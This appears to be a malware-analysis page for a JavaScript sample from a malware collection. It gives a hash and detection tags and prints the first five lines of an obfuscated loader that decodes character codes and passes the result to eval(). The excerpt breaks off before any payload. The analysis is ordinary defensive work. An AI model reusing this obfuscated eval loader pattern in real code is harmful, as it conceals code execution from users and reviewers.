Benign javascript-malware-collection Download

20151208_1c04b7a365950ead264e5b16db1d22e1.js

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256ed358785c1693ac408af1f376ee12738b272351576ad481cbcd82be1dc563352

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var VFHTSuuTGcwpq=[];for(sRdgpJV=(-534+534)/596;sRdgpJV<(41182+802)/328;sRdgpJV++){VFHTSuuTGcwpq[sRdgpJV]=String.fromCharCode(sRdgpJV)}function EMGiA(EOGpqzkQreh,oGiPdIQMYeaYB,hFRkUldz){DRIF=parseInt(EOGpqzkQreh,oGiPdIQMYeaYB);mpadT=DRIF.toString(hFRkUldz);return mpadT;}function uuIgbhHjNdMTeBg(aqFVFpkSDAyrmEwYa){eval(aqFVFpkSDAyrmEwYa)}
2function UOxflZNqGAOrkNVDXSixjoJFnIMDVPemtXZiIWIkWkzglywNBLPnwe(hwFxknnjNmrRX,ZRJKIeIaZlfPVa){ return VFHTSuuTGcwpq[EMGiA(hwFxknnjNmrRX[ZRJKIeIaZlfPVa],(-425+635)/21,(6539+51)/659)];}
3function fteLiLB(iAkCGfyrkciByBCSynnDsXtMZSqBOgtHcClv) {return !isNaN(parseFloat(iAkCGfyrkciByBCSynnDsXtMZSqBOgtHcClv)) && isFinite(iAkCGfyrkciByBCSynnDsXtMZSqBOgtHcClv);}
4function jWEDJzygFgN(SDIVJdwY,OELnNC){return SDIVJdwY.split(OELnNC)}
5var d=[];d.push("13");d.push("10");d.push("13");d.push("10");d.push("118");d.push("97");d.push("114");d.push("32");d. …